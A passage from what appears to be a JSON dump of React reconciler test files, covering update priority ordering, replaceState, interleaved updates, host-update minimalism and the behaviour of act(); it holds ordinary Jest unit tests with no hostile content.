InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('applies updates in order of priority', async () => {\n    let state;\n    class Foo extends React.Component {\n      state = {};\n      componentDidMount() {\n        Scheduler.log('commit');\n        React.startTransition(() => {\n          // Has low priority\n          this.setState({b: 'b'});\n          this.setState({c: 'c'});\n        });\n        // Has Task priority\n        this.setState({a: 'a'});\n      }\n      render() {\n        state = this.state;\n        return <div />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitFor(['commit']);\n\n    expect(state).toEqual({a: 'a'});\n    await waitForAll([]);\n    expect(state).toEqual({a: 'a', b: 'b', c: 'c'});\n  });\n\n  it('applies updates with equal priority in insertion order', async () => {\n    let state;\n    class Foo extends React.Component {\n      state = {};\n      componentDidMount() {\n        // All have Task priority\n        this.setState({a: 'a'});\n        this.setState({b: 'b'});\n        this.setState({c: 'c'});\n      }\n      render() {\n        state = this.state;\n        return <div />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n    expect(state).toEqual({a: 'a', b: 'b', c: 'c'});\n  });\n\n  it('only drops updates with equal or lesser priority when replaceState is called', async () => {\n    let instance;\n    class Foo extends React.Component {\n      state = {};\n      componentDidMount() {\n        Scheduler.log('componentDidMount');\n      }\n      componentDidUpdate() {\n        Scheduler.log('componentDidUpdate');\n      }\n      render() {\n        Scheduler.log('render');\n        instance = this;\n        return <div />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll(['render', 'componentDidMount']);\n\n    ReactNoop.flushSync(() => {\n      React.startTransition(() => {\n        instance.setState({x: 'x'});\n        instance.setState({y: 'y'});\n      });\n      instance.setState({a: 'a'});\n      instance.setState({b: 'b'});\n      React.startTransition(() => {\n        instance.updater.enqueueReplaceState(instance, {c: 'c'});\n        instance.setState({d: 'd'});\n      });\n    });\n\n    // Even though a replaceState has been already scheduled, it hasn't been\n    // flushed yet because it has async priority.\n    expect(instance.state).toEqual({a: 'a', b: 'b'});\n    assertLog(['render', 'componentDidUpdate']);\n\n    await waitForAll(['render', 'componentDidUpdate']);\n    // Now the rest of the updates are flushed, including the replaceState.\n    expect(instance.state).toEqual({c: 'c', d: 'd'});\n  });\n\n  it('can abort an update, schedule additional updates, and resume', async () => {\n    let instance;\n    class Foo extends React.Component {\n      state = {};\n      render() {\n        instance = this;\n        return <span prop={Object.keys(this.state).sort().join('')} />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n\n    function createUpdate(letter) {\n      return () => {\n        Scheduler.log(letter);\n        return {\n          [letter]: letter,\n        };\n      };\n    }\n\n    // Schedule some async updates\n    React.startTransition(() => {\n      instance.setState(createUpdate('a'));\n      instance.setState(createUpdate('b'));\n      instance.setState(createUpdate('c'));\n    });\n\n    // Begin the updates but don't flush them yet\n    await waitFor(['a', 'b', 'c']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"\" />);\n\n    // Schedule some more updates at different priorities\n    instance.setState(createUpdate('d'));\n    ReactNoop.flushSync(() => {\n      instance.setState(createUpdate('e'));\n      instance.setState(createUpdate('f'));\n    });\n    React.startTransition(() => {\n      instance.setState(createUpdate('g'));\n    });\n\n    // The sync updates should have flushed, but not the async ones.\n    assertLog(['d', 'e', 'f']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"def\" />);\n\n    // Now flush the remaining work. Even though e and f were already processed,\n    // they should be processed again, to ensure that the terminal state\n    // is deterministic.\n    await waitForAll([\n      // Then we'll re-process everything for 'g'.\n      'a',\n      'b',\n      'c',\n      'd',\n      'e',\n      'f',\n      'g',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"abcdefg\" />);\n  });\n\n  it('can abort an update, schedule a replaceState, and resume', async () => {\n    let instance;\n    class Foo extends React.Component {\n      state = {};\n      render() {\n        instance = this;\n        return <span prop={Object.keys(this.state).sort().join('')} />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n\n    function createUpdate(letter) {\n      return () => {\n        Scheduler.log(letter);\n        return {\n          [letter]: letter,\n        };\n      };\n    }\n\n    // Schedule some async updates\n    React.startTransition(() => {\n      instance.setState(createUpdate('a'));\n      instance.setState(createUpdate('b'));\n      instance.setState(createUpdate('c'));\n    });\n\n    // Begin the updates but don't flush them yet\n    await waitFor(['a', 'b', 'c']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"\" />);\n\n    // Schedule some more updates at different priorities\n    instance.setState(createUpdate('d'));\n\n    ReactNoop.flushSync(() => {\n      instance.setState(createUpdate('e'));\n      // No longer a public API, but we can test that it works internally by\n      // reaching into the updater.\n      instance.updater.enqueueReplaceState(instance, createUpdate('f'));\n    });\n    React.startTransition(() => {\n      instance.setState(createUpdate('g'));\n    });\n\n    // The sync updates should have flushed, but not the async ones.\n    assertLog(['d', 'e', 'f']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"f\" />);\n\n    // Now flush the remaining work. Even though e and f were already processed,\n    // they should be processed again, to ensure that the terminal state\n    // is deterministic.\n    await waitForAll([\n      // Then we'll re-process everything for 'g'.\n      'a',\n      'b',\n      'c',\n      'd',\n      'e',\n      'f',\n      'g',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"fg\" />);\n  });\n\n  it('passes accumulation of previous updates to replaceState updater function', async () => {\n    let instance;\n    class Foo extends React.Component {\n      state = {};\n      render() {\n        instance = this;\n        return <span />;\n      }\n    }\n    ReactNoop.render(<Foo />);\n    await waitForAll([]);\n\n    instance.setState({a: 'a'});\n    instance.setState({b: 'b'});\n    // No longer a public API, but we can test that it works internally by\n    // reaching into the updater.\n    instance.updater.enqueueReplaceState(instance, previousState => ({\n      previousState,\n    }));\n    await waitForAll([]);\n    expect(instance.state).toEqual({previousState: {a: 'a', b: 'b'}});\n  });\n\n  it('does not call callbacks that are scheduled by another callback until a later commit', async () => {\n    class Foo extends React.Component {\n      state = {};\n      componentDidMount() {\n        Scheduler.log('did mount');\n        this.setState({a: 'a'}, () => {\n          Scheduler.log('callback a');\n          this.setState({b: 'b'}, () => {\n            Scheduler.log('callback b');\n          });\n        });\n      }\n      render() {\n        Scheduler.log('render');\n        return <div />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([\n      'render',\n      'did mount',\n      'render',\n      'callback a',\n      'render',\n      'callback b',\n    ]);\n  });\n\n  it('gives setState during reconciliation the same priority as whatever level is currently reconciling', async () => {\n    let instance;\n\n    class Foo extends React.Component {\n      state = {};\n      UNSAFE_componentWillReceiveProps() {\n        Scheduler.log('componentWillReceiveProps');\n        this.setState({b: 'b'});\n      }\n      render() {\n        Scheduler.log('render');\n        instance = this;\n        return <div />;\n      }\n    }\n    ReactNoop.render(<Foo />);\n    await waitForAll(['render']);\n\n    ReactNoop.flushSync(() => {\n      instance.setState({a: 'a'});\n\n      ReactNoop.render(<Foo />); // Trigger componentWillReceiveProps\n    });\n\n    expect(instance.state).toEqual({a: 'a', b: 'b'});\n\n    assertLog(['componentWillReceiveProps', 'render']);\n  });\n\n  it('updates triggered from inside a class setState updater', async () => {\n    let instance;\n    class Foo extends React.Component {\n      state = {};\n      render() {\n        Scheduler.log('render');\n        instance = this;\n        return <div />;\n      }\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([\n      // Initial render\n      'render',\n    ]);\n\n    instance.setState(function a() {\n      Scheduler.log('setState updater');\n      this.setState({b: 'b'});\n      return {a: 'a'};\n    });\n\n    await waitForAll([\n      'setState updater',\n      // Updates in the render phase receive the currently rendering\n      // lane, so the update flushes immediately in the same render.\n      'render',\n    ]);\n    assertConsoleErrorDev([\n      'An update (setState, replaceState, or forceUpdate) was scheduled ' +\n        'from inside an update function. Update functions should be pure, ' +\n        'with zero side-effects. Consider using componentDidUpdate or a ' +\n        'callback.\\n' +\n        '\\n' +\n        'Please update the following component: Foo\\n' +\n        '    in Foo (at **)',\n    ]);\n    expect(instance.state).toEqual({a: 'a', b: 'b'});\n\n    // Test deduplication (no additional warnings expected)\n    instance.setState(function a() {\n      this.setState({a: 'a'});\n      return {b: 'b'};\n    });\n    await waitForAll(\n      gate(flags =>\n        // Updates in the render phase receive the currently rendering\n        // lane, so the update flushes immediately in the same render.\n        ['render'],\n      ),\n    );\n  });\n\n  it('getDerivedStateFromProps should update base state of updateQueue (based on product bug)', () => {\n    // Based on real-world bug.\n\n    let foo;\n    class Foo extends React.Component {\n      state = {value: 'initial state'};\n      static getDerivedStateFromProps() {\n        return {value: 'derived state'};\n      }\n      render() {\n        foo = this;\n        return (\n          <>\n            <span prop={this.state.value} />\n            <Bar />\n          </>\n        );\n      }\n    }\n\n    let bar;\n    class Bar extends React.Component {\n      render() {\n        bar = this;\n        return null;\n      }\n    }\n\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(<Foo />);\n    });\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"derived state\" />);\n\n    ReactNoop.flushSync(() => {\n      // Triggers getDerivedStateFromProps again\n      ReactNoop.render(<Foo />);\n      // The noop callback is needed to trigger the specific internal path that\n      // led to this bug. Removing it causes it to \"accidentally\" work.\n      foo.setState({value: 'update state'}, function noop() {});\n    });\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"derived state\" />);\n\n    ReactNoop.flushSync(() => {\n      bar.setState({});\n    });\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"derived state\" />);\n  });\n\n  it('regression: does not expire soon due to layout effects in the last batch', async () => {\n    const {useState, useLayoutEffect} = React;\n\n    let setCount;\n    function App() {\n      const [count, _setCount] = useState(0);\n      setCount = _setCount;\n      Scheduler.log('Render: ' + count);\n      useLayoutEffect(() => {\n        setCount(1);\n        Scheduler.log('Commit: ' + count);\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    await act(async () => {\n      React.startTransition(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([]);\n      await waitForAll([\n        'Render: 0',\n        'Child',\n        'Commit: 0',\n        'Render: 1',\n        'Child',\n      ]);\n\n      Scheduler.unstable_advanceTime(10000);\n      React.startTransition(() => {\n        setCount(2);\n      });\n      // The transition should not have expired, so we should be able to\n      // partially render it.\n      await waitFor(['Render: 2']);\n      // Now do the rest\n      await waitForAll(['Child']);\n    });\n  });\n\n  it('regression: does not expire soon due to previous flushSync', async () => {\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(<Text text=\"A\" />);\n    });\n    assertLog(['A']);\n\n    Scheduler.unstable_advanceTime(10000);\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <>\n          <Text text=\"A\" />\n          <Text text=\"B\" />\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n        </>,\n      );\n    });\n    // The transition should not have expired, so we should be able to\n    // partially render it.\n    await waitFor(['A']);\n    await waitFor(['B']);\n    await waitForAll(['C', 'D']);\n  });\n\n  it('regression: does not expire soon due to previous expired work', async () => {\n    React.startTransition(() => {\n      ReactNoop.render(\n        <>\n          <Text text=\"A\" />\n          <Text text=\"B\" />\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n        </>,\n      );\n    });\n\n    await waitFor(['A']);\n    // This will expire the rest of the update\n    Scheduler.unstable_advanceTime(10000);\n    await waitFor(['B'], {\n      additionalLogsAfterAttemptingToYield: ['C', 'D'],\n    });\n\n    Scheduler.unstable_advanceTime(10000);\n\n    // Now do another transition. This one should not expire.\n    React.startTransition(() => {\n      ReactNoop.render(\n        <>\n          <Text text=\"A\" />\n          <Text text=\"B\" />\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n        </>,\n      );\n    });\n\n    // The transition should not have expired, so we should be able to\n    // partially render it.\n    await waitFor(['A']);\n    await waitFor(['B']);\n    await waitForAll(['C', 'D']);\n  });\n\n  it('when rebasing, does not exclude updates that were already committed, regardless of priority', async () => {\n    const {useState, useLayoutEffect} = React;\n\n    let pushToLog;\n    function App() {\n      const [log, setLog] = useState('');\n      pushToLog = msg => {\n        setLog(prevLog => prevLog + msg);\n      };\n\n      useLayoutEffect(() => {\n        Scheduler.log('Committed: ' + log);\n        if (log === 'B') {\n          // Right after B commits, schedule additional updates.\n          ReactNoop.unstable_runWithPriority(ContinuousEventPriority, () =>\n            pushToLog('C'),\n          );\n          setLog(prevLog => prevLog + 'D');\n        }\n      }, [log]);\n\n      return log;\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Committed: ']);\n    expect(root).toMatchRenderedOutput(null);\n\n    await act(() => {\n      React.startTransition(() => {\n        pushToLog('A');\n      });\n\n      ReactNoop.unstable_runWithPriority(ContinuousEventPriority, () =>\n        pushToLog('B'),\n      );\n    });\n    assertLog(['Committed: B', 'Committed: BCD', 'Committed: ABCD']);\n    expect(root).toMatchRenderedOutput('ABCD');\n  });\n\n  it('when rebasing, does not exclude updates that were already committed, regardless of priority (classes)', async () => {\n    let pushToLog;\n    class App extends React.Component {\n      state = {log: ''};\n      pushToLog = msg => {\n        this.setState(prevState => ({log: prevState.log + msg}));\n      };\n      componentDidUpdate() {\n        Scheduler.log('Committed: ' + this.state.log);\n        if (this.state.log === 'B') {\n          // Right after B commits, schedule additional updates.\n          ReactNoop.unstable_runWithPriority(ContinuousEventPriority, () =>\n            this.pushToLog('C'),\n          );\n          this.pushToLog('D');\n        }\n      }\n      render() {\n        pushToLog = this.pushToLog;\n        return this.state.log;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(null);\n\n    await act(() => {\n      React.startTransition(() => {\n        pushToLog('A');\n      });\n      ReactNoop.unstable_runWithPriority(ContinuousEventPriority, () =>\n        pushToLog('B'),\n      );\n    });\n    assertLog(['Committed: B', 'Committed: BCD', 'Committed: ABCD']);\n    expect(root).toMatchRenderedOutput('ABCD');\n  });\n\n  it(\"base state of update queue is initialized to its fiber's memoized state\", async () => {\n    // This test is very weird because it tests an implementation detail but\n    // is tested in terms of public APIs. When it was originally written, the\n    // test failed because the update queue was initialized to the state of\n    // the alternate fiber.\n    let app;\n    class App extends React.Component {\n      state = {prevProp: 'A', count: 0};\n      static getDerivedStateFromProps(props, state) {\n        // Add 100 whenever the label prop changes. The prev label is stored\n        // in state. If the state is dropped incorrectly, we'll fail to detect\n        // prop changes.\n        if (props.prop !== state.prevProp) {\n          return {\n            prevProp: props.prop,\n            count: state.count + 100,\n          };\n        }\n        return null;\n      }\n      render() {\n        app = this;\n        return this.state.count;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App prop=\"A\" />);\n    });\n    expect(root).toMatchRenderedOutput('0');\n\n    // Changing the prop causes the count to increase by 100\n    await act(() => {\n      root.render(<App prop=\"B\" />);\n    });\n    expect(root).toMatchRenderedOutput('100');\n\n    // Now increment the count by 1 with a state update. And, in the same\n    // batch, change the prop back to its original value.\n    await act(() => {\n      root.render(<App prop=\"A\" />);\n      app.setState(state => ({count: state.count + 1}));\n    });\n    // There were two total prop changes, plus an increment.\n    expect(root).toMatchRenderedOutput('201');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIncrementalUpdatesMinimalism-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet act;\n\ndescribe('ReactIncrementalUpdatesMinimalism', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n\n    act = require('internal-test-utils').act;\n  });\n\n  it('should render a simple component', async () => {\n    function Child() {\n      return <div>Hello World</div>;\n    }\n\n    function Parent() {\n      return <Child />;\n    }\n\n    ReactNoop.startTrackingHostCounters();\n    await act(() => ReactNoop.render(<Parent />));\n    expect(ReactNoop.stopTrackingHostCounters()).toEqual({\n      hostUpdateCounter: 0,\n    });\n\n    ReactNoop.startTrackingHostCounters();\n    await act(() => ReactNoop.render(<Parent />));\n    expect(ReactNoop.stopTrackingHostCounters()).toEqual({\n      hostUpdateCounter: 1,\n    });\n  });\n\n  it('should not diff referentially equal host elements', async () => {\n    function Leaf(props) {\n      return (\n        <span>\n          hello\n          <b />\n          {props.name}\n        </span>\n      );\n    }\n\n    const constEl = (\n      <div>\n        <Leaf name=\"world\" />\n      </div>\n    );\n\n    function Child() {\n      return constEl;\n    }\n\n    function Parent() {\n      return <Child />;\n    }\n\n    ReactNoop.startTrackingHostCounters();\n    await act(() => ReactNoop.render(<Parent />));\n    expect(ReactNoop.stopTrackingHostCounters()).toEqual({\n      hostUpdateCounter: 0,\n    });\n\n    ReactNoop.startTrackingHostCounters();\n    await act(() => ReactNoop.render(<Parent />));\n    expect(ReactNoop.stopTrackingHostCounters()).toEqual({\n      hostUpdateCounter: 0,\n    });\n  });\n\n  it('should not diff parents of setState targets', async () => {\n    let childInst;\n\n    function Leaf(props) {\n      return (\n        <span>\n          hello\n          <b />\n          {props.name}\n        </span>\n      );\n    }\n\n    class Child extends React.Component {\n      state = {name: 'Batman'};\n      render() {\n        childInst = this;\n        return (\n          <div>\n            <Leaf name={this.state.name} />\n          </div>\n        );\n      }\n    }\n\n    function Parent() {\n      return (\n        <section>\n          <div>\n            <Leaf name=\"world\" />\n            <Child />\n            <hr />\n            <Leaf name=\"world\" />\n          </div>\n        </section>\n      );\n    }\n\n    ReactNoop.startTrackingHostCounters();\n    await act(() => ReactNoop.render(<Parent />));\n    expect(ReactNoop.stopTrackingHostCounters()).toEqual({\n      hostUpdateCounter: 0,\n    });\n\n    ReactNoop.startTrackingHostCounters();\n    await act(() => childInst.setState({name: 'Robin'}));\n    expect(ReactNoop.stopTrackingHostCounters()).toEqual({\n      // Child > div\n      // Child > Leaf > span\n      // Child > Leaf > span > b\n      // Child > Leaf > span > #text\n      hostUpdateCounter: 4,\n    });\n\n    ReactNoop.startTrackingHostCounters();\n    await act(() => ReactNoop.render(<Parent />));\n    expect(ReactNoop.stopTrackingHostCounters()).toEqual({\n      // Parent > section\n      // Parent > section > div\n      // Parent > section > div > Leaf > span\n      // Parent > section > div > Leaf > span > b\n      // Parent > section > div > Child > div\n      // Parent > section > div > Child > div > Leaf > span\n      // Parent > section > div > Child > div > Leaf > span > b\n      // Parent > section > div > hr\n      // Parent > section > div > Leaf > span\n      // Parent > section > div > Leaf > span > b\n      hostUpdateCounter: 10,\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactInterleavedUpdates-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet startTransition;\nlet useState;\nlet useEffect;\nlet act;\nlet assertLog;\nlet waitFor;\nlet waitForPaint;\n\ndescribe('ReactInterleavedUpdates', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    startTransition = React.startTransition;\n    useState = React.useState;\n    useEffect = React.useEffect;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('update during an interleaved event is not processed during the current render', async () => {\n    const updaters = [];\n\n    function Child() {\n      const [state, setState] = useState(0);\n      useEffect(() => {\n        updaters.push(setState);\n      }, []);\n      return <Text text={state} />;\n    }\n\n    function updateChildren(value) {\n      for (let i = 0; i < updaters.length; i++) {\n        const setState = updaters[i];\n        setState(value);\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n\n    await act(() => {\n      root.render(\n        <>\n          <Child />\n          <Child />\n          <Child />\n        </>,\n      );\n    });\n    assertLog([0, 0, 0]);\n    expect(root).toMatchRenderedOutput('000');\n\n    await act(async () => {\n      React.startTransition(() => {\n        updateChildren(1);\n      });\n      // Partially render the children. Only the first one.\n      await waitFor([1]);\n\n      // In an interleaved event, schedule an update on each of the children.\n      // Including the two that haven't rendered yet.\n      React.startTransition(() => {\n        updateChildren(2);\n      });\n\n      // We should continue rendering without including the interleaved updates.\n      await waitForPaint([1, 1]);\n      expect(root).toMatchRenderedOutput('111');\n    });\n    // The interleaved updates flush in a separate render.\n    assertLog([2, 2, 2]);\n    expect(root).toMatchRenderedOutput('222');\n  });\n\n  it('regression for #24350: does not add to main update queue until interleaved update queue has been cleared', async () => {\n    let setStep;\n    function App() {\n      const [step, _setState] = useState(0);\n      setStep = _setState;\n      return (\n        <>\n          <Text text={'A' + step} />\n          <Text text={'B' + step} />\n          <Text text={'C' + step} />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A0', 'B0', 'C0']);\n    expect(root).toMatchRenderedOutput('A0B0C0');\n\n    await act(async () => {\n      // Start the render phase.\n      startTransition(() => {\n        setStep(1);\n      });\n      await waitFor(['A1', 'B1']);\n\n      // Schedule an interleaved update. This gets placed on a special queue.\n      startTransition(() => {\n        setStep(2);\n      });\n\n      // Finish rendering the first update.\n      await waitForPaint(['C1']);\n\n      // Schedule another update. (In the regression case, this was treated\n      // as a normal, non-interleaved update and it was inserted into the queue\n      // before the interleaved one was processed.)\n      startTransition(() => {\n        setStep(3);\n      });\n    });\n    // The last update should win.\n    assertLog(['A3', 'B3', 'C3']);\n    expect(root).toMatchRenderedOutput('A3B3C3');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactIsomorphicAct-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment node\n */\n\n// sanity tests for act()\n\nlet React;\nlet ReactNoop;\nlet act;\nlet use;\nlet Suspense;\nlet DiscreteEventPriority;\nlet startTransition;\nlet waitForMicrotasks;\nlet Scheduler;\nlet assertLog;\n\ndescribe('isomorphic act()', () => {\n  beforeEach(() => {\n    React = require('react');\n    Scheduler = require('scheduler');\n\n    ReactNoop = require('react-noop-renderer');\n    DiscreteEventPriority =\n      require('react-reconciler/constants').DiscreteEventPriority;\n    act = React.act;\n    use = React.use;\n    Suspense = React.Suspense;\n    startTransition = React.startTransition;\n\n    waitForMicrotasks = require('internal-test-utils').waitForMicrotasks;\n    assertLog = require('internal-test-utils').assertLog;\n  });\n\n  beforeEach(() => {\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('behavior in production', () => {\n    if (!__DEV__) {\n      if (gate('fb')) {\n        expect(() => act(() => {})).toThrow(\n          'act(...) is not supported in production builds of React',\n        );\n      } else {\n        expect(React).not.toHaveProperty('act');\n      }\n    }\n  });\n\n  // @gate __DEV__\n  it('bypasses queueMicrotask', async () => {\n    const root = ReactNoop.createRoot();\n\n    // First test what happens without wrapping in act. This update would\n    // normally be queued in a microtask.\n    global.IS_REACT_ACT_ENVIRONMENT = false;\n    ReactNoop.unstable_runWithPriority(DiscreteEventPriority, () => {\n      root.render('A');\n    });\n    // Nothing has rendered yet\n    expect(root).toMatchRenderedOutput(null);\n    // Flush the microtasks by awaiting\n    await waitForMicrotasks();\n    expect(root).toMatchRenderedOutput('A');\n\n    // Now do the same thing but wrap the update with `act`. No\n    // `await` necessary.\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n    act(() => {\n      ReactNoop.unstable_runWithPriority(DiscreteEventPriority, () => {\n        root.render('B');\n      });\n    });\n    expect(root).toMatchRenderedOutput('B');\n  });\n\n  // @gate __DEV__\n  it('return value – sync callback', async () => {\n    expect(await act(() => 'hi')).toEqual('hi');\n  });\n\n  // @gate __DEV__\n  it('return value – sync callback, nested', async () => {\n    const returnValue = await act(() => {\n      return act(() => 'hi');\n    });\n    expect(returnValue).toEqual('hi');\n  });\n\n  // @gate __DEV__\n  it('return value – async callback', async () => {\n    const returnValue = await act(async () => {\n      return await Promise.resolve('hi');\n    });\n    expect(returnValue).toEqual('hi');\n  });\n\n  // @gate __DEV__\n  it('return value – async callback, nested', async () => {\n    const returnValue = await act(async () => {\n      return await act(async () => {\n        return await Promise.resolve('hi');\n      });\n    });\n    expect(returnValue).toEqual('hi');\n  });\n\n  // @gate __DEV__ && !disableLegacyMode\n  it('in legacy mode, updates are batched', () => {\n    const root = ReactNoop.createLegacyRoot();\n\n    // Outside of `act`, legacy updates are flushed completely synchronously\n    root.render('A');\n    expect(root).toMatchRenderedOutput('A');\n\n    // `act` will batch the updates and flush them at the end\n    act(() => {\n      root.render('B');\n      // Hasn't flushed yet\n      expect(root).toMatchRenderedOutput('A');\n\n      // Confirm that a nested `batchedUpdates` call won't cause the updates\n      // to flush early.\n      ReactNoop.batchedUpdates(() => {\n        root.render('C');\n      });\n\n      // Still hasn't flushed\n      expect(root).toMatchRenderedOutput('A');\n    });\n\n    // Now everything renders in a single batch.\n    expect(root).toMatchRenderedOutput('C');\n  });\n\n  // @gate __DEV__ && !disableLegacyMode\n  it('in legacy mode, in an async scope, updates are batched until the first `await`', async () => {\n    const root = ReactNoop.createLegacyRoot();\n\n    await act(async () => {\n      queueMicrotask(() => {\n        Scheduler.log('Current tree in microtask: ' + root.getChildrenAsJSX());\n        root.render(<Text text=\"C\" />);\n      });\n      root.render(<Text text=\"A\" />);\n      root.render(<Text text=\"B\" />);\n\n      await null;\n      assertLog([\n        // A and B should render in a single batch _before_ the microtask queue\n        // has run. This replicates the behavior of the original `act`\n        // implementation, for compatibility.\n        'B',\n        'Current tree in microtask: B',\n\n        // C isn't scheduled until a microtask, so it's rendered separately.\n        'C',\n      ]);\n\n      // Subsequent updates should also render in separate batches.\n      root.render(<Text text=\"D\" />);\n      root.render(<Text text=\"E\" />);\n      assertLog(['D', 'E']);\n    });\n  });\n\n  // @gate __DEV__ && !disableLegacyMode\n  it('in legacy mode, in an async scope, updates are batched until the first `await` (regression test: batchedUpdates)', async () => {\n    const root = ReactNoop.createLegacyRoot();\n\n    await act(async () => {\n      queueMicrotask(() => {\n        Scheduler.log('Current tree in microtask: ' + root.getChildrenAsJSX());\n        root.render(<Text text=\"C\" />);\n      });\n\n      // This is a regression test. The presence of `batchedUpdates` would cause\n      // these updates to not flush until a microtask. The correct behavior is\n      // that they flush before the microtask queue, regardless of whether\n      // they are wrapped with `batchedUpdates`.\n      ReactNoop.batchedUpdates(() => {\n        root.render(<Text text=\"A\" />);\n        root.render(<Text text=\"B\" />);\n      });\n\n      await null;\n      assertLog([\n        // A and B should render in a single batch _before_ the microtask queue\n        // has run. This replicates the behavior of the original `act`\n        // implementation, for compatibility.\n        'B',\n        'Current tree in microtask: B',\n\n        // C isn't scheduled until a microtask, so it's rendered separately.\n        'C',\n      ]);\n\n      // Subsequent updates should also render in separate batches.\n      root.render(<Text text=\"D\" />);\n      root.render(<Text text=\"E\" />);\n      assertLog(['D', 'E']);\n    });\n  });\n\n  // @gate __DEV__\n  it('unwraps promises by yielding to microtasks (async act scope)', async () => {\n    const promise = Promise.resolve('Async');\n\n    function Fallback() {\n      throw new Error('Fallback should never be rendered');\n    }\n\n    function App() {\n      return use(promise);\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Fallback />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n    expect(root).toMatchRenderedOutput('Async');\n  });\n\n  // @gate __DEV__\n  it('unwraps promises by yielding to microtasks (non-async act scope)', async () => {\n    const promise = Promise.resolve('Async');\n\n    function Fallback() {\n      throw new Error('Fallback should never be rendered');\n    }\n\n    function App() {\n      return use(promise);\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Note that the scope function is not an async function\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Fallback />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n    expect(root).toMatchRenderedOutput('Async');\n  });\n\n  // @gate __DEV__\n  it('warns if a promise is used in a non-awaited `act` scope', async () => {\n    const promise = new Promise(() => {});\n\n    function Fallback() {\n      throw new Error('Fallback should never be rendered');\n    }\n\n    function App() {\n      return use(promise);\n    }\n\n    spyOnDev(console, 'error').mockImplementation(() => {});\n    const root = ReactNoop.createRoot();\n    act(() => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Fallback />}>\n            <App />\n          </Suspense>,\n        );\n      });\n    });\n\n    // `act` warns after a few microtasks, instead of a macrotask, so that it's\n    // more likely to be attributed to the correct test case.\n    //\n    // The exact number of microtasks is an implementation detail; just needs\n    // to happen when the microtask queue is flushed.\n    await waitForMicrotasks();\n\n    expect(console.error).toHaveBeenCalledTimes(1);\n    expect(console.error.mock.calls[0][0]).toContain(\n      'A component suspended inside an `act` scope, but the `act` ' +\n        'call was not awaited. When testing React components that ' +\n        'depend on asynchronous data, you must await the result:\\n\\n' +\n        'await act(() => ...)',\n    );\n  });\n\n  // @gate __DEV__\n  it('does not warn when suspending via legacy `throw` API  in non-awaited `act` scope', async () => {\n    let didResolve = false;\n    let resolvePromise;\n    const promise = new Promise(r => {\n      resolvePromise = () => {\n        didResolve = true;\n        r();\n      };\n    });\n\n    function Fallback() {\n      return 'Loading...';\n    }\n\n    function App() {\n      if (!didResolve) {\n        throw promise;\n      }\n      return 'Async';\n    }\n\n    spyOnDev(console, 'error').mockImplementation(() => 